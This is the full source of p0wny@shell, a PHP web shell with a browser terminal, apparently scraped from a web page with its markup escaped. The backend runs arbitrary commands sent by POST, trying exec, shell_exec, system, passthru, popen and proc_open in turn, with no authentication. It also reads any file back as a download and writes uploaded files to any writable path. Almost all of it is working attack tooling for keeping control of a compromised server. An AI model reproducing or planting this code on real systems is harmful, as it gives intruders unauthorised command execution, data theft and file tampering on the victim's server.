$SHELL_CONFIG = array(    &#039;username&#039; =&gt; &#039;p0wny&#039;,    &#039;hostname&#039; =&gt; &#039;shell&#039;,);function expandPath($path) {    if (preg_match(&quot;#^(~[a-zA-Z0-9_.-]*)(/.*)?$#&quot;, $path, $match)) {        exec(&quot;echo $match[1]&quot;, $stdout);        return $stdout[0] . $match[2];    }    return $path;}function allFunctionExist($list = array()) {    foreach ($list as $entry) {        if (!function_exists($entry)) {            return false;        }    }    return true;}function executeCommand($cmd) {    $output = &#039;&#039;;    if (function_exists(&#039;exec&#039;)) {        exec($cmd, $output);        $output = implode(&quot;\n&quot;, $output);    } else if (function_exists(&#039;shell_exec&#039;)) {        $output = shell_exec($cmd);    } else if (allFunctionExist(array(&#039;system&#039;, &#039;ob_start&#039;, &#039;ob_get_contents&#039;, &#039;ob_end_clean&#039;))) {        ob_start();        system($cmd);        $output = ob_get_contents();        ob_end_clean();    } else if (allFunctionExist(array(&#039;passthru&#039;, &#039;ob_start&#039;, &#039;ob_get_contents&#039;, &#039;ob_end_clean&#039;))) {        ob_start();        passthru($cmd);        $output = ob_get_contents();        ob_end_clean();    } else if (allFunctionExist(array(&#039;popen&#039;, &#039;feof&#039;, &#039;fread&#039;, &#039;pclose&#039;))) {        $handle = popen($cmd, &#039;r&#039;);        while (!feof($handle)) {            $output .= fread($handle, 4096);        }        pclose($handle);    } else if (allFunctionExist(array(&#039;proc_open&#039;, &#039;stream_get_contents&#039;, &#039;proc_close&#039;))) {        $handle = proc_open($cmd, array(0 =&gt; array(&#039;pipe&#039;, &#039;r&#039;), 1 =&gt; array(&#039;pipe&#039;, &#039;w&#039;)), $pipes);        $output = stream_get_contents($pipes[1]);        proc_close($handle);    }    return $output;}function isRunningWindows() {    return stripos(PHP_OS, &quot;WIN&quot;) === 0;}function featureShell($cmd, $cwd) {    $stdout = &quot;&quot;;    if (preg_match(&quot;/^\s*cd\s*(2&gt;&amp;1)?$/&quot;, $cmd)) {        chdir(expandPath(&quot;~&quot;));    } elseif (preg_match(&quot;/^\s*cd\s+(.+)\s*(2&gt;&amp;1)?$/&quot;, $cmd)) {        chdir($cwd);        preg_match(&quot;/^\s*cd\s+([^\s]+)\s*(2&gt;&amp;1)?$/&quot;, $cmd, $match);        chdir(expandPath($match[1]));    } elseif (preg_match(&quot;/^\s*download\s+[^\s]+\s*(2&gt;&amp;1)?$/&quot;, $cmd)) {        chdir($cwd);        preg_match(&quot;/^\s*download\s+([^\s]+)\s*(2&gt;&amp;1)?$/&quot;, $cmd, $match);        return featureDownload($match[1]);    } else {        chdir($cwd);        $stdout = executeCommand($cmd);    }    return array(        &quot;stdout&quot; =&gt; base64_encode($stdout),        &quot;cwd&quot; =&gt; base64_encode(getcwd())    );}function featurePwd() {    return array(&quot;cwd&quot; =&gt; base64_encode(getcwd()));}function featureHint($fileName, $cwd, $type) {    chdir($cwd);    if ($type == &#039;cmd&#039;) {        $cmd = &quot;compgen -c $fileName&quot;;    } else {        $cmd = &quot;compgen -f $fileName&quot;;    }    $cmd = &quot;/bin/bash -c \&quot;$cmd\&quot;&quot;;    $files = explode(&quot;\n&quot;, shell_exec($cmd));    foreach ($files as &amp;$filename) {        $filename = base64_encode($filename);    }    return array(        &#039;files&#039; =&gt; $files,    );}function featureDownload($filePath) {    $file = @file_get_contents($filePath);    if ($file === FALSE) {        return array(            &#039;stdout&#039; =&gt; base64_encode(&#039;File not found / no read permission.&#039;),            &#039;cwd&#039; =&gt; base64_encode(getcwd())        );    } else {        return array(            &#039;name&#039; =&gt; base64_encode(basename($filePath)),            &#039;file&#039; =&gt; base64_encode($file)        );    }}function featureUpload($path, $file, $cwd) {    chdir($cwd);    $f = @fopen($path, &#039;wb&#039;);    if ($f === FALSE) {        return array(            &#039;stdout&#039; =&gt; base64_encode(&#039;Invalid path / no write permission.&#039;),            &#039;cwd&#039; =&gt; base64_encode(getcwd())        );    } else {        fwrite($f, base64_decode($file));        fclose($f);        return array(            &#039;stdout&#039; =&gt; base64_encode(&#039;Done.&#039;),            &#039;cwd&#039; =&gt; base64_encode(getcwd())        );    }}function initShellConfig() {    global $SHELL_CONFIG;    if (isRunningWindows()) {        $username = getenv(&#039;USERNAME&#039;);        if ($username !== false) {            $SHELL_CONFIG[&#039;username&#039;] = $username;        }    } else {        $pwuid = posix_getpwuid(posix_geteuid());        if ($pwuid !== false) {            $SHELL_CONFIG[&#039;username&#039;] = $pwuid[&#039;name&#039;];        }    }    $hostname = gethostname();    if ($hostname !== false) {        $SHELL_CONFIG[&#039;hostname&#039;] = $hostname;    }}if (isset($_GET[&quot;feature&quot;])) {    $response = NULL;    switch ($_GET[&quot;feature&quot;]) {        case &quot;shell&quot;:            $cmd = $_POST[&#039;cmd&#039;];            if (!preg_match(&#039;/2&gt;/&#039;, $cmd)) {                $cmd .= &#039; 2&gt;&amp;1&#039;;            }            $response = featureShell($cmd, $_POST[&quot;cwd&quot;]);            break;        case &quot;pwd&quot;:            $response = featurePwd();            break;        case &quot;hint&quot;:            $response = featureHint($_POST[&#039;filename&#039;], $_POST[&#039;cwd&#039;], $_POST[&#039;type&#039;]);            break;        case &#039;upload&#039;:            $response = featureUpload($_POST[&#039;path&#039;], $_POST[&#039;file&#039;], $_POST[&#039;cwd&#039;]);    }    header(&quot;Content-Type: application/json&quot;);    echo json_encode($response);    die();} else {    initShellConfig();}&lt;!DOCTYPE html&gt;<html>    <head>        &lt;meta charset=&quot;UTF-8&quot; /&gt;<title>p0wny@shell:~#</title>        &lt;title&gt;p0wny@shell:~#&lt;/title&gt;        &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&gt;        &lt;style&gt;            html, body {                margin: 0;                padding: 0;                background: #333;                color: #eee;                font-family: monospace;                width: 100vw;                height: 100vh;                overflow: hidden;            }            *::-webkit-scrollbar-track {                border-radius: 8px;                background-color: #353535;            }            *::-webkit-scrollbar {                width: 8px;                height: 8px;            }            *::-webkit-scrollbar-thumb {                border-radius: 8px;                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);                background-color: #bcbcbc;            }            #shell {                background: #222;                box-shadow: 0 0 5px rgba(0, 0, 0, .3);                font-size: 10pt;                display: flex;                flex-direction: column;                align-items: stretch;                max-width: calc(100vw - 2 * var(--shell-margin));                max-height: calc(100vh - 2 * var(--shell-margin));                resize: both;                overflow: hidden;                width: 100%;                height: 100%;                margin: var(--shell-margin) auto;            }            #shell-content {                overflow: auto;                padding: 5px;                white-space: pre-wrap;                flex-grow: 1;            }            #shell-logo {                font-weight: bold;                color: #FF4180;                text-align: center;            }            :root {                --shell-margin: 25px;            }            @media (min-width: 1200px) {                :root {                    --shell-margin: 50px !important;                }            }            @media (max-width: 991px),                   (max-height: 600px) {                #shell-logo {                    font-size: 6px;                    margin: -25px 0;                }                :root {                    --shell-margin: 0 !important;                }                #shell {                    resize: none;                }            }            @media (max-width: 767px) {                #shell-input {                    flex-direction: column;                }            }            @media (max-width: 320px) {                #shell-logo {                    font-size: 5px;                }            }            .shell-prompt {                font-weight: bold;                color: #75DF0B;            }            .shell-prompt &gt; span {                color: #1BC9E7;            }            #shell-input {                display: flex;                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);                border-top: rgba(255, 255, 255, .05) solid 1px;                padding: 10px 0;            }            #shell-input &gt; label {                flex-grow: 0;                display: block;                padding: 0 5px;                height: 30px;                line-height: 30px;            }            #shell-input #shell-cmd {                height: 30px;                line-height: 30px;                border: none;                background: transparent;                color: #eee;                font-family: monospace;                font-size: 10pt;                width: 100%;                align-self: center;                box-sizing: border-box;            }            #shell-input div {                flex-grow: 1;                align-items: stretch;            }            #shell-input input {                outline: none;            }        &lt;/style&gt;        &lt;script&gt;            var SHELL_CONFIG =  echo json_encode($SHELL_CONFIG); ;            var CWD = null;            var commandHistory = [];            var historyPosition = 0;            var eShellCmdInput = null;            var eShellContent = null;            function _insertCommand(command) {                eShellContent.innerHTML += &quot;\n\n&quot;;                eShellContent.innerHTML += &#039;&lt;span class=\&quot;shell-prompt\&quot;&gt;&#039; + genPrompt(CWD) + &#039;&lt;/span&gt; &#039;;                eShellContent.innerHTML += escapeHtml(command);                eShellContent.innerHTML += &quot;\n&quot;;                eShellContent.scrollTop = eShellContent.scrollHeight;            }            function _insertStdout(stdout) {                eShellContent.innerHTML += escapeHtml(stdout);                eShellContent.scrollTop = eShellContent.scrollHeight;            }            function _defer(callback) {                setTimeout(callback, 0);            }            function featureShell(command) {                _insertCommand(command);                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);                } else if (/^\s*clear\s*$/.test(command)) {                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer                    eShellContent.innerHTML = &#039;&#039;;                } else {                    makeRequest(&quot;?feature=shell&quot;, {cmd: command, cwd: CWD}, function (response) {                        if (response.hasOwnProperty(&#039;file&#039;)) {                            featureDownload(atob(response.name), response.file)                        } else {                            _insertStdout(atob(response.stdout));                            updateCwd(atob(response.cwd));                        }                    });                }            }            function featureHint() {                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -&gt; nothing to complete                function _requestCallback(data) {                    if (data.files.length &lt;= 1) return;  // no completion                    data.files = data.files.map(function(file){                        return atob(file);                    });                    if (data.files.length === 2) {                        if (type === &#039;cmd&#039;) {                            eShellCmdInput.value = data.files[0];                        } else {                            var currentValue = eShellCmdInput.value;                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);                        }                    } else {                        _insertCommand(eShellCmdInput.value);                        _insertStdout(data.files.join(&quot;\n&quot;));                    }                }                var currentCmd = eShellCmdInput.value.split(&quot; &quot;);                var type = (currentCmd.length === 1) ? &quot;cmd&quot; : &quot;file&quot;;                var fileName = (type === &quot;cmd&quot;) ? currentCmd[0] : currentCmd[currentCmd.length - 1];                makeRequest(                    &quot;?feature=hint&quot;,                    {                        filename: fileName,                        cwd: CWD,                        type: type                    },                    _requestCallback                );            }            function featureDownload(name, file) {                var element = document.createElement(&#039;a&#039;);                element.setAttribute(&#039;href&#039;, &#039;data:application/octet-stream;base64,&#039; + file);                element.setAttribute(&#039;download&#039;, name);                element.style.display = &#039;none&#039;;                document.body.appendChild(element);                element.click();                document.body.removeChild(element);                _insertStdout(&#039;Done.&#039;);            }            function featureUpload(path) {                var element = document.createElement(&#039;input&#039;);                element.setAttribute(&#039;type&#039;, &#039;file&#039;);                element.style.display = &#039;none&#039;;                document.body.appendChild(element);                element.addEventListener(&#039;change&#039;, function () {                    var promise = getBase64(element.files[0]);                    promise.then(function (file) {                        makeRequest(&#039;?feature=upload&#039;, {path: path, file: file, cwd: CWD}, function (response) {                            _insertStdout(atob(response.stdout));                            updateCwd(atob(response.cwd));                        });                    }, function () {                        _insertStdout(&#039;An unknown client-side error occurred.&#039;);                    });                });                element.click();                document.body.removeChild(element);            }            function getBase64(file, onLoadCallback) {                return new Promise(function(resolve, reject) {                    var reader = new FileReader();                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };                    reader.onerror = reject;                    reader.readAsDataURL(file);                });            }            function genPrompt(cwd) {                cwd = cwd || &quot;~&quot;;                var shortCwd = cwd;                if (cwd.split(&quot;/&quot;).length &gt; 3) {                    var splittedCwd = cwd.split(&quot;/&quot;);                    shortCwd = &quot;&hellip;/&quot; + splittedCwd[splittedCwd.length-2] + &quot;/&quot; + splittedCwd[splittedCwd.length-1];                }                return SHELL_CONFIG[&quot;username&quot;] + &quot;@&quot; + SHELL_CONFIG[&quot;hostname&quot;] + &quot;:&lt;span title=\&quot;&quot; + cwd + &quot;\&quot;&gt;&quot; + shortCwd + &quot;&lt;/span&gt;#&quot;;            }            function updateCwd(cwd) {                if (cwd) {                    CWD = cwd;                    _updatePrompt();                    return;                }                makeRequest(&quot;?feature=pwd&quot;, {}, function(response) {                    CWD = atob(response.cwd);                    _updatePrompt();                });            }            function escapeHtml(string) {                return string                    .replace(/&amp;/g, &quot;&amp;amp;&quot;)                    .replace(/&lt;/g, &quot;&amp;lt;&quot;)                    .replace(/&gt;/g, &quot;&amp;gt;&quot;);            }            function _updatePrompt() {                var eShellPrompt = document.getElementById(&quot;shell-prompt&quot;);                eShellPrompt.innerHTML = genPrompt(CWD);            }            function _onShellCmdKeyDown(event) {                switch (event.key) {                    case &quot;Enter&quot;:                        featureShell(eShellCmdInput.value);                        insertToHistory(eShellCmdInput.value);                        eShellCmdInput.value = &quot;&quot;;                        break;                    case &quot;ArrowUp&quot;:                        if (historyPosition &gt; 0) {                            historyPosition--;                            eShellCmdInput.blur();                            eShellCmdInput.value = commandHistory[historyPosition];                            _defer(function() {                                eShellCmdInput.focus();                            });                        }                        break;                    case &quot;ArrowDown&quot;:                        if (historyPosition &gt;= commandHistory.length) {                            break;                        }                        historyPosition++;                        if (historyPosition === commandHistory.length) {                            eShellCmdInput.value = &quot;&quot;;                        } else {                            eShellCmdInput.blur();                            eShellCmdInput.focus();                            eShellCmdInput.value = commandHistory[historyPosition];                        }                        break;                    case &#039;Tab&#039;:                        event.preventDefault();                        featureHint();                        break;                }            }            function insertToHistory(cmd) {                commandHistory.push(cmd);                historyPosition = commandHistory.length;            }            function makeRequest(url, params, callback) {                function getQueryString() {                    var a = [];                    for (var key in params) {                        if (params.hasOwnProperty(key)) {                            a.push(encodeURIComponent(key) + &quot;=&quot; + encodeURIComponent(params[key]));                        }                    }                    return a.join(&quot;&amp;&quot;);                }                var xhr = new XMLHttpRequest();                xhr.open(&quot;POST&quot;, url, true);                xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);                xhr.onreadystatechange = function() {                    if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {                        try {                            var responseJson = JSON.parse(xhr.responseText);                            callback(responseJson);                        } catch (error) {                            alert(&quot;Error while parsing response: &quot; + error);                        }                    }                };                xhr.send(getQueryString());            }            document.onclick = function(event) {                event = event || window.event;                var selection = window.getSelection();                var target = event.target || event.srcElement;                if (target.tagName === &quot;SELECT&quot;) {                    return;                }                if (!selection.toString()) {                    eShellCmdInput.focus();                }            };            window.onload = function() {                eShellCmdInput = document.getElementById(&quot;shell-cmd&quot;);                eShellContent = document.getElementById(&quot;shell-content&quot;);                updateCwd();                eShellCmdInput.focus();            };        &lt;/script&gt;    </head>    <body>        &lt;div id=&quot;shell&quot;&gt;            &lt;pre id=&quot;shell-content&quot;&gt;                &lt;div id=&quot;shell-logo&quot;&gt;        ___                         ____      _          _ _        _  _   &lt;span&gt;&lt;/span&gt; _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ &lt;span&gt;&lt;/span&gt;| &#039;_ \| | | \ \ /\ / / &#039;_ \| | | |/ / _` / __| &#039;_ \ / _ \ | (_)/\/_  ..  _|&lt;span&gt;&lt;/span&gt;| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|&lt;span&gt;&lt;/span&gt;| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  &lt;span&gt;&lt;/span&gt;|_|                         |___/  \____/                                  &lt;span&gt;&lt;/span&gt;                &lt;/div&gt;            &lt;/pre&gt;            &lt;div id=&quot;shell-input&quot;&gt;                &lt;label for=&quot;shell-cmd&quot; id=&quot;shell-prompt&quot; class=&quot;shell-prompt&quot;&gt;???&lt;/label&gt;                &lt;div&gt;                    &lt;input id=&quot;shell-cmd&quot; name=&quot;cmd&quot; onkeydown=&quot;_onShellCmdKeyDown(event)&quot;/&gt;                &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;    </body></html>